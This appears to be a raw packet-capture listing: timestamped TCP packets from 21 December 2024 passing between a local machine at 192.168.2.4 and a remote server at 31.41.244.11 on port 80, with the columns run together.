                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.087059975 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.088032007 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.088083029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.088144064 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.088191986 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.089191914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.089241982 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.089309931 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.089360952 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.090214014 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.090261936 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.090337992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.090384960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.091427088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.091473103 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.091530085 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.091583014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.092514038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.092564106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.092624903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.092670918 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.093558073 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.093606949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.093667984 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.093719959 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.094858885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.094913006 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.094949007 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.094999075 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.095801115 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.095859051 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.095925093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.095973015 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.097009897 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.097059011 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.097138882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.097187042 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.098170042 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.098220110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.098284960 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.098329067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.099350929 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.099402905 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.099493980 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.099541903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.100430965 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.100478888 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.234364986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.234390974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.234416962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.234431982 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.234699011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.234754086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.234759092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.234797955 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.235877991 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.235924006 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.235945940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.235989094 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.237015963 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.237062931 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.237066984 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.237107038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.238019943 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.238065004 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.238173008 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.238217115 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.239160061 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.239207029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.239244938 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.239295959 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.240286112 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.240329981 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.240456104 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.240499973 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.241350889 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.241393089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.241471052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.241513014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.242619038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.242666006 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.242803097 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.242846966 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.243799925 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.243846893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.243944883 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.243988991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.244726896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.244772911 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.244805098 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.244844913 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.245820999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.245863914 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.246030092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.246073008 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.247150898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.247195959 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.247277975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.247335911 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.247986078 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.248028994 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.248102903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.248147011 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.249181986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.249227047 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.249316931 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.249360085 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.250228882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.250276089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.250303984 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.250349998 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.251374006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.251422882 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.251559019 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.251599073 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.252424955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.252468109 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.252567053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.252609015 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.253635883 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.253679991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.253710985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.253752947 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.254676104 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.254719973 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.254756927 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.254795074 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.255816936 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.255865097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.255942106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.255985022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.256881952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.256925106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.256968021 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.257009029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.258059978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.258105040 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.258131027 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.258168936 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.259037018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.259079933 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.259140015 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.259182930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.260133982 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.260179043 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.260293961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.260339022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.261306047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.261348963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.261445999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.261491060 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.262490034 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.262533903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.262602091 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.262650967 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.263549089 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.263593912 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.263775110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.263819933 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.264597893 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.264643908 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.264743090 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.264787912 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.265706062 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.265748978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.265841961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.265886068 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.266820908 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.266860962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.266932011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.266973972 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.267932892 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.267987013 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.268044949 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.268090963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.269032955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.269087076 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.269140959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.269186974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.270140886 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.270196915 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.270267963 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.270315886 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.271220922 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.271279097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.271332026 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.271380901 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.272362947 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.272419930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.272464037 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.272512913 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.273502111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.273554087 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.273602009 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.273644924 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.274550915 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.274595022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.274646997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.274692059 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.275676966 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.275722027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.275825024 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.275871038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.276865005 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.276909113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.277003050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.277045965 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.277884007 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.277925968 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.277981043 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.278028011 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.278996944 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.279041052 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.279092073 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.279131889 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.280102968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.280150890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.280194998 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.280239105 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.281260967 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.281317949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.281318903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.281359911 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.282300949 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.282361031 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.282437086 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.282483101 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.283436060 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.283480883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.283586025 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.283632040 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.284518957 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.284570932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.284625053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.284682989 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.285621881 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.285669088 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.285717010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.285761118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.286722898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.286783934 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.286818981 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.286863089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.287813902 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.287857056 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.287942886 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.287986994 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.288954973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.289004087 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.289099932 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.289140940 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.290129900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.290178061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.290182114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.290221930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.291143894 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.291191101 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.291269064 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.291321039 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.292274952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.292329073 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.426680088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.426706076 CET804976031.41.244.11192.168.2.4
